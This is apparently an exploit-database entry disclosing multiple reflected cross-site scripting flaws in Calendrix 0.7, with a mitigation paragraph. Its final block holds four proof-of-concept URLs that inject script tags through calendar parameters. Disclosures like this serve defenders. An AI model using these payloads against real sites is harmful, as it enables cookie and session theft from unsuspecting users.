Calendrix Multiple Cross-Site Scripting Vulnerabilities

vendor:

Calendrix

by:

Unknown

5.5

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: Calendrix

Affected Version From: 0.7

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Unknown

Unknown

Calendrix Multiple Cross-Site Scripting Vulnerabilities

Multiple cross-site scripting vulnerabilities exist in Calendrix due to insufficient input sanitization. An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of a targeted user, potentially leading to the theft of authentication credentials and other malicious activities.

Mitigation:

To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts. Additionally, web application firewalls can be employed to detect and block XSS attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/24626/info

Calendrix is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Calendrix 0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/[PRODUCT-DIRECTORY]/calendar.php?year=<script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/calendar.php?month="><script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/yearcal.php?ycyear=<script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/cal_footer.inc.php?leftfooter=<script>alert(document.cookies)</script>